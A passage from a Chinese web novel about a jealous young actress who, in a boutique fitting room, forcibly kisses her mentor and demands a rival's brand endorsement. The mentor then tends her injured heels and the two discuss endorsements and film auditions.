苏寄欢想她应该是走累了，便同她坐下来道：“坐这里不如去店里坐着，你若不想挑衣服，在那里休息也好。” 程偌菲跟着道：“是啊星亦，去那里休息。苏总选衣服的话，不知道要选到几时。” 祝星亦本要拒绝，看两人一起劝她，像是在责怪自己不懂事似的。 程偌菲懂事，自己不懂事。 今天这鞋子穿着太磨脚，她脚疼腿酸，实在不想再逛来逛去。 “那我去里面坐着，你们逛就好了。”祝星亦支着座椅起身。 苏寄欢仔细观察她的动作，轻轻嗯了声。 到店里后，苏寄欢和西装革履的店员说了什么，祝星亦被带到一处房间里歇息。房间很宽敞，她刚坐下便有人端来点心和红茶。 祝星亦刚用完餐没什么胃口，弯腰捶着酸痛的小腿，听到苏寄欢和程偌菲在外面说话。 过了会儿，两人走进来。 “星星，我先去外面随便看看，你先歇着。”苏寄欢说。 程偌菲跟着说：“你若是想出来看看便过来，我们一时半会儿挑不完衣服。” 祝星亦正要说什么，两个白色的身影走出房间。 她心里憋着一股怒火，但两抹白消失在视线里后，一场不知名的雨又把那股火浇灭了。 祝星亦低头看自己的腿，酸胀酸胀的。她一个人坐在沙发上想了会儿，撑着起身去外面。 那两人还在选衣服，边选边笑着说些什么。 苏寄欢背对着她，她看不到苏寄欢的神情，但看程偌菲一脸笑容的模样，她确定苏寄欢一定也在笑着。 她们往这边又走了走，继续看着衣服，边看边拿出一件衣服讨论着什么。 祝星亦想，她们大概在说款式、材质。 这里的衣服大多是秀场同款，店员们不算忙碌，但衣着打扮都很精致。 祝星亦自从做明星后也习惯了精致，前世她适应了很久，这辈子就很熟练了。 要穿干净整洁没有褶皱的衣裙，要化看不出太多化妆痕迹的妆，要睁着眼睛直视那些闪光灯，要永远保持身材和微笑，要穿会让脚痛的鞋子，要被塞进适合自己的包装袋里，要假装不在乎细枝末节的情绪。 店里的灯很亮，她的影子在脚下蔓延，缓缓从脚底爬到墙上，好似要把她吞没。 苏寄欢又在背对着她，她无法看到苏寄欢的脸，也许这个女人正一本正经地说着什么，也许正在礼貌微笑，或者什么也不做，只安静看着程偌菲。 以前祝星亦觉得那个温柔平静的目光是世界上最让她心动的眼神，但现在她明白了，那寸目光落在谁身上都会让人心动。 她看到程偌菲望着苏寄欢笑了。 很快，苏寄欢身子晃了下。 苏寄欢一定也笑了。 祝星亦退了半步。 如果从来没有见过阳光，她不会贪婪那份谁都可以共享的温暖。 神的爱，本就均匀洒落在每个世人身上。 她求来的关系，她求来的幸福，本就摇摇欲坠。 她求神的垂怜，神自有想护佑的人。 祝星亦又往后退了两步，抬手摸了下脸颊，湿湿的。 她匆忙转过身子揩去脸上的泪，紧接着她被自己气笑了。 她好想撕裂出两个自己，一个很爱苏寄欢的，一个很恨苏寄欢的。 而现在，她太恨苏寄欢了。 她原本可以心无旁骛地重走这一生，做个无恶不作的坏人，做个恶毒、虚伪的小人。 后来她褪去身上坚硬的盔甲和锋利的刺，她去爱苏寄欢，只收获了无措的眼泪，和卑微的痛楚。 卑微地祈求师徒关系，卑微地索要恩惠，卑微地吻她。 她恨她，好恨她。 身后有脚步声。 “怎么出来了？”苏寄欢快步走过来，长身玉立，凛冽的柚子花香。 祝星亦往小屋处走去，“出来看看衣服。” 苏寄欢一手拉住她的胳膊，递给她一条白裙，“我早些天就给你看了这条裙子，让他们留了你的尺码，你去试试。” 设计简约但十分漂亮的白裙放在祝星亦手里，她低头看了眼裙子塞到苏寄欢手里，“我今天不买衣服，你买你需要的就好了。” “我今天也不买衣服。”苏寄欢嘴唇微抿，“本就是要取这条裙子，M家的衣服不适合我，但适合你。” 她没再等祝星亦思考或拒绝什么，牵着她的手腕去试衣间。 试衣间宽敞明亮，进去便看到一面巨大的镜子，一旁是衣架，以及真皮沙发。 苏寄欢把衣服放在衣架上，转头跟祝星亦说：“你先试试这件，有其他喜欢的还来试。” 祝星亦盯着被挂在衣架上的白裙子愣神儿，苏寄欢推开试衣间门准备出去，“你先试吧，等下再多挑几件继续试。” “苏老师。” 苏寄欢关上门，转身问：“怎么了？” 祝星亦背对着她，声音平静得出奇，“苏老师，偌菲的Lavassi品牌代言是不是还有四个月就到期了？” 苏寄欢不知道她为什么问这个问题，“是，商务那边在谈续约。” 祝星亦忽然转过身子，琥珀色的眸子上翻涌着一层阴翳，“可以不续吗？” “应该不行，Lavassi这个品牌……”苏寄欢的话还未说完，就被祝星亦急切地打断。 “我是说，不和偌菲续，让我来代言，好吗？” 苏寄欢呼吸一滞，她沉默不语，半晌，她拧着眉说：“如果你想要的话……” “苏老师，你不是什么都能给我的吗？”祝星亦扬起嘴角扯出一个看似温和的笑，可她的面上却平静得如同幽深的湖水，莫名让人觉得那份温和中夹杂着许多危险。 随后祝星亦缓缓朝苏寄欢逼近，一步，两步，最终，祝星亦把苏寄欢抵在门上，两人的距离近得能感受到彼此的呼吸。 “我是你的学生，你也答应过我会给我很多。我只是想要Lavassi代言而已。”温热的气息喷洒在苏寄欢的脸颊上，祝星亦的声音低沉而富有压迫感。 苏寄欢从未见过这样姿态的小狐狸，盯着她的脸望了许久，解释道：“但如果换代言人还是要……” “所以苏老师，你不想给我？”祝星亦的语气陡然拔高，声音是让人发毛的尖锐。一股诡异的质问在琥珀色的眸子里跳跃着，逐渐汇成浓重的阴郁。 细小的恐惧感开始把苏寄欢包裹住，她深吸一口气让自己镇定下来，说：“并不是，我是说，更换代言人的话要先和品牌方那边谈一谈。” “那你想把Lavassi给我代言吗？” 苏寄欢抿了抿唇，犹豫了一下说：“我更想知道你为什么忽然想要这个代言。” “我想要，需要理由吗？”祝星亦冷冷地笑了一声，刺耳的笑声在这寂静的空间里显得格外突兀，“你给别人东西的时候，需要那么多理由吗？” 苏寄欢张张嘴想要说些什么，却又不知从何说起，脸上满是疑惑的表情，最终望着祝星亦保持沉默。 她理不出个头绪，只是被眼前祝星亦奇怪的情绪搅得心烦意乱。 祝星亦凝视着苏寄欢，唇畔忽然泛起一抹意味不明的轻笑，“怎么？我不过是想要个代言罢了，这很过分吗？我又没开口要大G，仅仅是一个代言而已，很过分吗？” 苏寄欢被她这一番话弄得一头雾水，下意识皱了皱眉，“什么大G？星星，你到底在说什么？我怎么听不懂。” “苏老师。”祝星亦扬起下巴深深地吸了一口气，嘴角牵强地勾起一个看似轻松的弧度：“没什么，苏老师，记得帮我把代言谈下来就行，我要签三年的合约。” 说着，她转身朝着对面的衣架走去，打算取下挂在上面的衣服。 苏寄欢瞧着她这略显突兀的举动，心中的疑虑愈发浓重，快步跟了上去追问：“你可以跟我多讲一讲你的想法吗？如果偌菲失去了这个代言，后续……” “她没了这个代言与我何干？只要我能得到不就好了？”祝星亦的声音猛地拔高，变得尖锐刺耳起来。 她紧紧抓着手中的衣服猛地转身，脚步向前逼近，逼得苏寄欢后退了几步，犀利的目光紧紧地盯着苏寄欢，随后冷声开口问：“苏老师，怎么？你舍不得她失去这个代言吗？” 比起回答这个问题，苏寄欢还是更想知道祝星亦为什么会有这样的想法。 她端详祝星亦的脸，尤其是那一双忽然浸着寒意的眼睛，她从未见过这样的小狐狸，哪怕是曾经挥拳打人也没有这样过。 她静静看着这双眼，试图读懂那些未说出口的话语和隐藏的情绪。可澄净的玻璃珠子蒙了一层厚重的雾，她看不懂，猜不透，只觉得偏执和哀伤占了大多数，更多的是一种她从未见过的陌生的冷冽。 祝星亦再次逼近半步，苏寄欢下意识地往后退，脚跟碰到了身后的沙发，身体一个踉跄，被迫停了下来。 她有些狼狈地低下头，看着被沙发挡住的双腿，还没来得及反*应，就感觉肩膀被祝星亦猛地一推。 苏寄欢整个人向后倒在沙发上，脸上满是惊愕与无措。而祝星亦顺势欺身而上，双手用力按住苏寄欢的肩膀让她动弹不得。 紧接着祝星亦上手拽着苏寄欢的领子，脸也快速凑近，旋即带着一股不容抗拒的气势吻了下去。 这个吻毫无温柔可言，充满了掠夺与发泄，像是要把内心所有的矛盾、不甘和混乱都通过这个吻宣泄出来。 祝星亦一条腿跪在沙发上，另一条腿的脚下踩着崭新且还未试穿的衣裙。她的唇紧紧压着苏寄欢的唇，舌尖强硬地顶开她的牙关，霸道、蛮横、肆意地在她口中翻搅掠夺。 一手缓缓收紧，另一只手扯着苏寄欢的长发，手一用劲儿，苏寄欢疼得难受，闷哼一声。 啃咬太过用力，苏寄欢疼得难耐，剧烈地喘了几下，小狐狸的唇忽然移开。 “你舍不得吗？嗯？”祝星亦轻喘着气附在苏寄欢耳边问，“连个代言也舍不得给你的爱徒吗？” 清甜的味道扑在苏寄欢脸上，她得以喘息后仰着脖子大口呼吸，领子被紧紧扯着，她拧眉咬着牙说：“爱徒？爱徒这样咬自己的老师吗？” 祝星亦绷紧嘴，手再用力。 苏寄欢闷哼了一声，半睁着眼看一脸愠怒的祝星亦。 手劲太大了，小狐狸拽得她想反抗。 但看到那双眼睛，苏寄欢紧抿着唇，想了想，还是不要继续激怒小狐狸为好，想要抓小狐狸腰的手也随意摆着。 祝星亦掀起唇角嘁了一声，“苏老师，我在工作，我可以吻你。” “这里只有我们两个人，你要工作给谁看？” 祝星亦的手又收紧，勒得苏寄欢去抓她手腕。 “星星，你要谋杀亲师？”苏寄欢没敢用力抓祝星亦手腕，只虚虚搭着，想看祝星亦下一步动作。 她看祝星亦不说话，扬眉笑说：“所以，你现在敢亵渎我了？不仅敢亵渎，还想要杀了我？” 看着苏寄欢近似挑衅的神情，祝星亦毫不留情地再次咬上苏寄欢的唇。 吃痛之下，苏寄欢拧紧眉掐住了祝星亦的细腰，她没有阻止的想法，也没有抗拒的意思，似乎只是想捏住祝星亦的身子，防止她掉下去。 祝星亦被这个动作刺激到了，她松开拽领子的手继而按住苏寄欢的肩，另一只手撕扯着苏寄欢的衣服。 白色套装，两个人都穿白色套装，只有自己不是。 只有自己是个局外人。 祝星亦喘着粗气，用力一撕，听到线崩和布料开口的声音。 好听极了。祝星亦想。 衣服被撕烂后，苏寄欢按住她移开唇，搂腰的手收紧，迫得祝星亦歪在她怀里。 她盯着祝星亦泛着红晕的脸颊，疏淡的声音低低呢喃在耳畔：“你干什么？是你要试衣服，不是我要试衣服。” 忽然被困在怀里的祝星亦咬着牙按住苏寄欢的肩欲要站起，苏寄欢手一用力，这只发火的狐狸便动弹不得。 “给我！”狐狸又急又气，绯红的耳尖几乎要熟透了。 苏寄欢压低声音，一字一顿的蛊惑，咬字勾魂又暧昧，“你要我给你什么？代言，还是……” 她收紧了手，狐狸身子不稳晃了下，赶忙攀着她的脖子。 狐狸坐在她腿上，她稍稍仰头便对上不甘的眼。 手还在钳制着狐狸的腰，她声线缱绻，又带着一丝戏谑，“还是想要别的？” 腿上的人抿紧唇线不开口，苏寄欢颤了下长睫，眼底一片乌沉。 半晌，苏寄欢动了下腿，指腹摩挲着狐狸的腰，狐狸又晃了下，随后拧着眉毛低吼一声：“放我下来！” 苏寄欢这才松手。 祝星亦转身坐在沙发上，抬眼，对面是宽大的镜子。 两人撕扯、拥吻过后的丑态尽数展现。 祝星亦看着自己，除了衣服乱点，口红花了，其他倒还好。 只是苏寄欢没那么幸运。 头发被扯得几乎要飞了出去，脸上全是祝星亦的红唇印不说，整个唇都好似肿了，下唇处隐隐有血迹。更难堪的是这身衣服被撕烂了，从领口到腰部，都是裂缝，领口处还露出一片白皙的皮肤。 祝星亦咋舌，怎么，自己的力气那么大吗？居然扯出这么大一个口子。 她看着镜中被自己扯烂的衣服，视线偏移，看到苏寄欢正紧盯着她。 浅褐色的眸子蕴着一层化不开的黑雾，一动不动地盯着她，像明目张胆的侵略者。 祝星亦按着沙发起身，忽然觉得脚下有什么东西，低头一看是苏寄欢要她试的那件白裙子。她弯腰把衣服捡起来，刚起身，苏寄欢也跟着站起。 苏寄欢一手拿过那条被踩过的裙子丢到沙发上，她睨着不知所以然的人，嘴角带着轻车驾熟的笑意。 她被啃咬的时候知道了矛盾的源头是什么，所以觉得这个行为非常有趣。 换一种方式表达，当她感受到小狐狸强烈的醋意，她无比兴奋。 越强烈，越兴奋。 脚步忽然往前移了半步。 祝星亦抬头，“你干什么？” 苏寄欢的目光没有从她身上挪开，头微微垂，嗓音低淳，“我头发乱了。” 祝星亦仰着脸儿，眼中浮起一抹困惑。 苏寄欢凝注着她，又说：“先帮我把头发整理整理。” 宽大的镜子映着两人的身影，祝星亦眉宇间透着一丝不悦。 苏寄欢下巴稍扬，姿态有些懒散，“怎么？不想认账？” 话音刚落，小狐狸踮着脚，两只细细软软的手猛兽出笼般盖住苏寄欢的头，紧接着十根手指在绸质的乌发间穿梭，仔仔细细帮忙梳理着。 香甜的吐息轻拂过苏寄欢的脸，苏寄欢错神须臾，呼吸沉重了些许，她的目光落在小狐狸白皙的脖子上。 脆弱的肌肤。 只要伸出獠牙就能把这个脖子咬断。 鲜红的血会顺着修长白皙的脖子流遍全身，染红衣裙。 “好了。”祝星亦放下手有些不自在地往后退了一小步。 “还有呢？”苏寄欢弯了弯唇角，又靠近了些，气息格外危险，“除了头发，还有呢？” “还有什么？”祝星亦皱眉问。 第83章 她抓住我的腿 “衣服。” “我怎么整？”祝星亦背着手，虽然心虚，语气一点也不失气势，“总不能缝上？” 苏寄欢抬了抬下巴，“那你想要我这样走出去吗？” “不想。” “帮我到外面拿一件衣服，你随便选一件就好。”苏寄欢平静道，“你应该知道我的码数。” 祝星亦转身欲走，苏寄欢又开口。 “选你喜欢的。”苏寄欢后退半步坐在沙发上，双腿懒懒叠着，似笑非笑地看着祝星亦的背影。 “知道了。”祝星亦开门离去。 迈出试衣间门，有些沉重的步伐。 苏寄欢注意到了。 视线往下，顺着白色丝袜裹着的小腿，再往下。 刺眼的红印在洁白上。 苏寄欢眉间隆起一道细纹。 祝星亦出去转了一圈儿，这里面没有一件衣服是苏寄欢的风格。 程偌菲打完电话从外面进来，四顾了下问：“星亦，苏总呢？” 祝星亦抓着一条裙子，眼睛快速眨了下，“她衣服破了，我帮她拿件衣服换上。” “衣服破了？”程偌菲一脸讶异，怎么她出去打个电话的工夫，苏寄欢衣服就破了？ 她赶忙跟着挑衣服，“那我也帮忙给她挑些吧，不过她说这里的衣服不适合她，要不……” “不用麻烦你了，她要这件。”祝星亦随手拎了件灰色polo套装裙。 程偌菲见那款式顿时睁大了眼，polo领上装，百褶裙，像是女大学生的打扮。 “这个……”程偌菲实在不敢相信这是苏寄欢想要的衣服，“这个不太适合苏总吧？倒挺适合你，这里的衣服你穿上都很合适，但……” “嗯？”祝星亦喊工作人员拿相应的码数，转过身来笑道：“她喜欢就行，管合不合适呢？” 工作人员拿来衣服后，祝星亦接过衣服晃了晃，“我先给她送去。” “苏老师。”祝星亦推门进来，拎着衣服挂在衣架上，“衣服给你选好了，你换上吧。” 苏寄欢靠在沙发上注视那件衣服些许时间，起身拿过，侧目一瞥，问：“是你喜欢的吗？” “是。”祝星亦背着手往后退，“你先换。” 祝星亦关上门出来等了会儿，试衣间的门打开后，她转头看去。 苏寄欢踩着裸色高跟鞋走过来，随意撩了下柔顺的发。 上衣有些修身，苏寄欢走过来时，波浪似的起伏摆动。褶裙刚过大腿中部，衬得双腿愈发修长，脚下的裸色高跟鞋更添几分利落。 冷冽的五官与这身灵动俏皮的装扮格格不入，却又莫名带着一种别样的冲击感。 柔软的衣服里裹着一把锋利、淬满毒药的刀，下一秒就要刺破布料砍向罪人的头颅。 祝星亦愣神儿。 这衣服确实不适合苏寄欢。 她甚至觉得穿这身衣服的苏寄欢会随时拿利群烫她屁股。 “苏总……”程偌菲走过来捂着嘴巴沉默一会儿，一言难尽地看了祝星亦一眼，问：“苏总，这身衣服……” “挺好的。”苏寄欢赞赏地点点头，“新的尝试，我很喜欢。” “喜……欢？”程偌菲缩了下脖子，她无法理解苏寄欢的想法，这身衣服着实没有一丁点和苏寄欢相配的点。 程偌菲侧着身子指了下其他衣服，“苏总要不再试试其他的？” “不用了。”苏寄欢走去快速结了账，顺手把白裙子的账结了。 “偌菲，我在16楼买了东西，你帮我取一下。”等待结账期间，苏寄欢同程偌菲道，“你可能要在那等一会儿，麻烦你了。” “没事，苏总。”程偌菲应下，转身出门。 祝星亦目送程偌菲离开店门，踩着高跟鞋在沙发处坐下。 苏寄欢结完账拎着袋子过来。 “你把裙子踩脏了。”苏寄欢把袋子丢在沙发上。 双人座沙发，苏寄欢匆匆瞥了眼工作人员的方向，长腿一迈坐到祝星亦身边，“钱我付过了，合不合适你都拿着。” 苏寄欢坐下的时候，短裙只浅浅盖着一小截大腿，臀部往下的露肤度太高，稍微动下便会走光。 祝星亦还没见过苏寄欢穿这么短的裙子，还是这种百褶裙。 苏寄欢很多裙子都是长裙，包臀裙，鱼尾裙，大多都是开衩设计。 祝星亦合并双膝，“你还是换一身吧，这身有点不适合你。” “你不是喜欢这身吗？” “但不适合你。” “我结过账了，吊牌也剪了。” “小姐，您要的药。”工作人员双手放下药品离开此处。 桌上放着碘伏棉签、创可贴等药品。 祝星亦望着这些药品有些困惑。 苏寄欢倾身拆开一根碘伏棉签，没直接拿出来，反而弯下身子。 她握住了祝星亦的腿。 祝星亦身子一抖，慌忙推开苏寄欢的手，“你干什么？” “你后脚跟流血了。”苏寄欢脸色微不可察地绷紧了些，“你没有感觉到吗？” 祝星亦这才低头看自己的后脚跟。 刺眼的红色几乎要把鞋子也染红。 “我……” 祝星亦正低着头，苏寄欢一手抬握着她的小腿往自己腿上放。 这个动作让祝星亦脸和脖子瞬间红起来。 速度太快，苏寄欢只是低头的空，再转眸，祝星亦整个人都变成了红色。 “怎么了？”苏寄欢握了握祝星亦的腿，温热的掌心覆在上面。 祝星亦的腿猛地缩了下。 “我自己来。”祝星亦想要收回自己的腿。 动了动，小腿被牢牢握着。 苏寄欢默不作声地脱去已经沾了点血的高跟鞋。 疼痛令祝星亦皱着眉头。 “新鞋子吗？”苏寄欢问。 “是。”祝星亦抓着沙发，以有些尴尬的姿势微微倚在沙发上。 她岔开腿侧坐，一条腿在苏寄欢光洁的腿上放着，另一条腿局促地曲着。 苏寄欢张张嘴，稍稍侧头，目光直接落在祝星亦岔开的双。腿处。 祝星亦顺着苏寄欢的目光看去，顿时一脸愠怒地用手捂住裙子。 苏寄欢不着痕迹地收回视线。 “穿新鞋子是会这样，可以在后脚跟那里贴上水凝胶贴。”苏寄欢捏了下祝星亦的小腿肉。 祝星亦的腿型纤细却有力量感，跟腱很长，肉感恰到好处。 苏寄欢盯着白色丝袜看了会儿，丝袜不过分白，也不过分透，只透了一点粉，挠人痒痒似的。 手指沿着小腿往上移，指腹温热，顺着小腿内侧的肉一直往上，食指勾进腿袜边缘。 指轻曲着，往外勾了下，隐隐可见指尖的颜色。 祝星亦咬着唇紧盯着苏寄欢的动作。 苏寄欢没再动作，指只是勾住腿袜。 “为了和她逛街，穿了新鞋子？”苏寄欢捻着食指勾着的袜子问她，“没见你跟我一起逛街穿新鞋子的。” 苏寄欢的指甲贴着祝星亦的腿肉，祝星亦攥着拳别开脸，“穿不穿新鞋子有什么区别？不是已经顺了你的意吗？” “什么意？” “来逛街。” 苏寄欢勾头轻笑，“那确实，顺了我的意。” 她往祝星亦身边坐了坐，祝星亦咽了口唾沫也往后坐坐。 但身后是扶手，退无可退。 “快脱。”祝星亦咬着牙发出一声低吼。 苏寄欢抿着唇挑了下眉。 指往下勾，慢慢褪着，褪到小腿中间，她握住祝星亦的腿轻轻抬起，再继续往下脱。 痒。 祝星亦抓紧裙角。 袜子褪到脚踝处，苏寄欢小心了些。祝星亦的后脚跟的袜子和血肉黏在一起，苏寄欢看得眉心隆起。 “会疼。”苏寄欢提醒。 她稍岔开腿，把祝星亦的腿放在自己腿上，脚踝处悬空，双手脱掉袜子。 “疼吗？”苏寄欢拧着眉毛问。 祝星亦摇头，“还好。” 苏寄欢点点头，拿起一根碘伏棉签再往祝星亦那边坐坐。 祝星亦被挤得没了空间，刚要让苏寄欢不要再挤了，苏寄欢忽然握住她的脚踝迫使她曲起了腿，脚也踩在苏寄欢的腿上。 她以奇怪且羞耻的姿势歪坐着。 一条腿曲着踩在苏寄欢腿上，另一条腿往内扣不舒服，只能岔开，而她被苏寄欢挤得只能靠着扶手。 这个姿势好像在…… “喂！”祝星亦红着耳朵捂住裙子警告身边丝毫不在意的人，“不要挤我了。” “现在连老师也不喊了？”苏寄欢握紧她的脚踝轻轻擦拭伤口处，“撕我衣服的账我还没跟你算，代言的事我得考虑考虑。Lavassi是高端品牌，那边有意跟偌菲继续续约，忽然更换代言人需要商讨。况且就剩四个月的时间，从谈换人到确认新代言人需要不少时间，这个时间点很尴尬。” 她低头耐心擦拭伤口，擦完敷上药棉用医用胶带贴好。一只脚解决完了，她招招手，让祝星亦抬起另一条腿。 她脱下她的高跟鞋，她的丝袜，继续重复着动作。 “现在还气吗？”苏寄欢垂着眼认真擦拭伤口。 “我没生过你的气。”祝星亦违心否认。 苏寄欢笑了一声，“行，你没生。那能告诉我为什么想要这个代言吗？” “我需要一个高端的代言，我商业价值够了。” “所以我这边已经给你谈好PlanMizz的代言了。” 祝星亦呆愣愣地侧过头，“PlanMizz？蓝血？” “PlanMizz全线代言，等你商业价值再高点就能再升个title。”苏寄欢平静地说，“本来想等你公司周年庆结束再告诉你的，想给你个小惊喜。不过……PlanMizz和Lavassi你要哪个？” “当然PlanMizz！”祝星亦声音轻快了许多。 PlanMizz可是蓝血！即便现在只是全线代言人，那也比同时期小花高级太多了。 苏寄欢瞧她开心了点儿，继续说：“想提升title就继续提升商业价值，这次的《寄明月》让你涨了太多，但还不够。有爆剧是好事，大银幕更有含金量。除了作品，奖项也很重要，那才是硬实力。课你要继续上，好本子也要继续选，你最近有看好的本子吗？除了《外乡人》。” 各家影视公司祝星亦都在注意着，谁家买了什么版权，谁家本子过审了，谁家要开始选角了，她时刻都盯着动静。 祝星亦说了许多，苏寄欢认真听着。 边听边处理好伤口。 一切完毕后，苏寄欢理了理袜子，双手按在祝星亦腿上。 “就这些了。”祝星亦汇报完毕，“如果《外乡人》试镜失败我就去试镜《夏影》，我很喜欢这个电影的基调。” [蝴蝶在夏天出生，也在夏天死亡］——《夏影》 《夏影》讲述了一个奇幻、冒险、悬疑的故事。 女主角稚茗在辞去大城市的工作后回到小镇，回到小镇不久后，小镇上出现连环杀人案。被妈妈嘱咐不能随便外出的稚茗会坐在家里甜品店的二楼画画，一天一个奇怪的女人坐在稚茗对面，女人不说话，店打烊后方才离开。 连续七天，这个奇怪的女人都坐在稚茗对面。终于，稚茗忍不住开口问女人叫什么。女人说她叫青泠，还问稚茗是不是会画画。得到肯定的答案后，青泠承诺支付高昂稿费，要稚茗画出一部以她为主角的漫画。 稚茗虽然很疑惑，但也高兴答应了。然而就是这次画画，让稚茗揭开了这个小镇的惊天秘密。 《夏影》原著是一部小众漫画，画风很奇特，部分画面有致幻的效果，剧情走向很天马行空，还带了点诡异的色彩。祝星亦之所以关注这个作品，还是妹妹安安推荐的。 “导演编剧是谁？”苏寄欢问，“我没听过这个作品。” “编剧是彭梦，前年的一部影片入围了瑞林电影节短片竞赛单元。导演……”祝星亦耸了下肩，“导演很年轻，比我大四岁，叫路露。她毕业于华媒导演系，执导的几部短片都在国际电影节上入围一些竞赛单元，也拿过奖。” 短片苏寄欢不太关注，她关注较多的都是长片。听到这里，她问：“她们都是拍短片的吗？没有长片作品吗？” “目前没有，《夏影》会是第一部。” “是个很年轻的团队啊……你……” 祝星亦听着苏寄欢的语气，心里直打鼓，这种年轻的团队和ilmeth那种资金强的团队没法比。她想，苏寄欢应该会让她放弃试镜。 “你看中这个作品或者这个团队哪一点？”苏寄欢问。 祝星亦看中的是这个团队未来会爆冷拿大奖。 但前世好像并没有《夏影》立项拍摄的消息，这也是祝星亦感觉奇怪的地方。 重生一次，有和以前一样走向的事件，但大多数都不一样。 就好像她重生一次，许多人物、事件都跟着流动。 祝星亦只记得这个导演的团队资金够了后拍了一个文艺片，拿了尼尔罗电影节主竞赛单元奖。 尼尔罗电影节含金量很高，在路露的作品拿奖前，中国已经有十年没在这个电影节斩获奖项。 虽然年轻，但很行。 即便《夏影》颗粒无收，日后都将会是一部值得探讨的宝藏。 祝星亦思索了后回答：“我觉得它拍出来应该会像《布达佩斯大饭店》或者《梦》《悬崖上的野餐》，这种有超高艺术审美的电影，在我们内娱很少见。” “看来你对这部作品很有信心。” “你不是说要我留意好本子还有好团队吗？本子重要，团队也重要，这个团队做短片很用心，舍得做特效，舍得磨剧本。而且她们也在努力招商，努力从短片转长片。” 意识到不对劲后，苏寄欢挑起一侧眉头，问：“你好像已经打算要试镜了？《外乡人》不要了吗？” “不。”祝星亦否认，“我肯定想要争取《外乡人》的机会，毕竟《外乡人》更稳定些，路导的嘛……只能算备选，或者，这个团队是我的备选。如果她们以后有其他片子要拍，我可能会去试试。” 苏寄欢理解她的考虑，为自己做好两手打算更稳妥些。 “我大概了解了，当然，我也更希望你能成功拿下《外乡人》。”苏寄欢不自觉地捏了捏她的腿，“如果你决定了，那我支持你，如果你试镜成功，我会帮忙看着这部影片。” “谢谢你的支持。” “PlanMizz的代言……等你参加完周年庆会和你谈，你等着就好。” “好。”想着，祝星亦叹口气，余光瞄了眼苏寄欢，声音低低的，“那个……苏老师，对不起。” “哪里对不起了？” “就是……”祝星亦正要说话，发现自己的腿被捏着，赶忙要收回腿，却被苏寄欢按下。 “先说哪里对不起了。”苏寄欢脑袋稍稍一偏，唇线抿得很直，目中带着淡淡的笑意。 “让你为难了。” “除此之外？” “吻你了。” “这可不算。” “也算吧。”祝星亦抓着裙子，垂下头，“还有撕烂你的衣服，咬……” 抬了抬眼，望见对面人破了的嘴唇。 “还有，咬了你。” 苏寄欢轻声笑笑，递来一道意味不明的目光，“还有呢？” “没了吧？”祝星亦弱弱地说，“应该……没了？” 祝星亦投以试探的目光，苏寄欢眉目舒展开来，勾着唇角，“行，你说没了就没了。” “可是你真的不生我气吗？我那样对你。” “你有权力表达你的情绪，我也有责任承担这些情绪。”苏寄欢捏了捏她的腿肉，想到了什么，继续问：“不过你说的大G是什么意思？大G怎么了？” 祝星亦也不好说什么，只能胡诌：“就是今天看偌菲开大G，羡慕。” “哦。”苏寄欢还以为什么呢，原来是这个，“[苏盛］年度优秀员工会得大奖，之前的奖是大G。你喜欢大G吗？你之前不是说喜欢劳斯莱斯？” “我……” “见什么喜欢什么？” “不是。” “你喜欢大G，那到时候带你买辆大G。”苏寄欢扬眉，“你下个月才考科四吧？” “我不要大G。”祝星亦拒绝，“我还是喜欢劳斯莱斯，你如果送我的话……我会很开心。” “那我肯定希望你能开心。”苏寄欢嘴角漾起弧度，嗓音清清淡淡。 瞧见小狐狸没了那股阴郁、病态的神情，苏寄欢终于松了口气。 哄好了。 简直不费吹灰之力。 “小姐，这边调完货了，您要的拖鞋。”工作人员抱着盒子走过来。 苏寄欢转头，打开盒子后是一双白色拖鞋。她拿过拖鞋给祝星亦套上，“应该会舒服些，你试试。” 祝星亦站起来走了两步，比穿累脚的高跟鞋好多了。 “怎么样？” “挺好的。”祝星亦背着手站在苏寄欢身边点头说。 她穿着平底拖鞋，苏寄欢还在穿着高跟鞋。原本苏寄欢就比她高，现在更是比她高了太多。 极强的压迫感。 “苏总。”程偌菲拎着一个袋子走进来，站到苏寄欢面前后颔首道：“没等多久就拿到了。” 苏寄欢接过，“谢谢偌菲。” 她转身去拿东西，工作人员已经把祝星亦道高跟鞋装进了盒子，她拎起，赶忙走过来，“我需要的东西都买好了，直接回去还是……” “我没什么要买的，星亦，你呢？”程偌菲问。 祝星亦摇头：“我也没什么要买的，回去好了。” 三人折回景平广场停车场，程偌菲的视线落在祝星亦身上，“星亦，你是要坐谁的车？” “我的。”苏寄欢答道，“偌菲，你回去路上注意安全，我送她回去。” 程偌菲没有争执什么，含笑道：“好的，苏总。” 坐到车里，祝星亦扣上安全带问苏寄欢要程偌菲取了什么。 苏寄欢慢悠悠扣上安全带，手放在方向盘上有一下没一下地敲着，声音有些散漫，“时间。” “时间？”祝星亦不太明白。 “让她取了我们独处的时间。”苏寄欢沉缓地说完，侧头瞄了她一眼，驱车驶离停车场。 祝星亦望着苏寄欢的侧脸，好久好久，才慢吞吞开口，“所以……你是为了支开她？” 苏寄欢没有说话，只是翘着唇角扬了下眉。 祝星亦追问：“可是，你为什么这么做？” “因为我想我应该听你解释，你也应该听我讲一讲我的想法。不是吗？”苏寄欢转动着方向盘，车子转弯，驶入大道，“值得庆幸的是成功打消了一些疑虑，我觉得很值。” 祝星亦揉揉脸。 是吗？很值吗？ “改天再带你去我家做糕点，你先回去休息。”苏寄欢说。 祝星亦嗯了声。 稍晚点，白澜核对祝星亦接下来的行程。周年庆之后祝星亦就会去《外乡人》试镜，如果成功，将会全身心投入《外乡人》拍摄，如果失败将会面试其他的。 目前祝星亦想要尝试大银幕，《寄明月》爆火之后也有其他导演递来本子，祝星亦都没有接受。反倒是容羽珍看中了那些本子，主动跟那些人去谈。 不过白澜清楚，容羽珍只会把那些本子谈下来递给艺域的其他艺人。 可真会蹭啊。 “如果接下来不进剧组，可能会进一些常驻综艺。艺域十月份会开一个新综艺《回家了亲爱的》，容总意向是要你参加录制。十一月份《四季》会开播，《回家》也会播出，你热度正盛，最合适不过了。” 祝星亦听到《四季》的名字，一阵恶寒，“我不去综艺，能进组就进组，不能进就想尽办法进。我没有太多作品傍身，做客综艺只会害了我。我是要做演员，不是做综艺咖。” 白澜了然。 艺域周年庆当天，艺域大楼楼下堆满了应援展板。 叶松萝带着[星海］到达现场后检查祝星亦的应援展板、花墙，确定OK之后准备前往艺域大楼隔壁的商城里先坐着等祝星亦出现。 还没离开，叶松萝瞥见一个奇怪的花墙。 花墙是在给祝星亦应援没错，但旁边的卡通画…… “是cp粉！”叶松萝一眼就看出这面花墙的不对劲，“是cp粉做的展板，可恶，在线上舞舞也就算了，线下还敢那么猖狂！简直不要脸！明歌，工作人员在不在？” 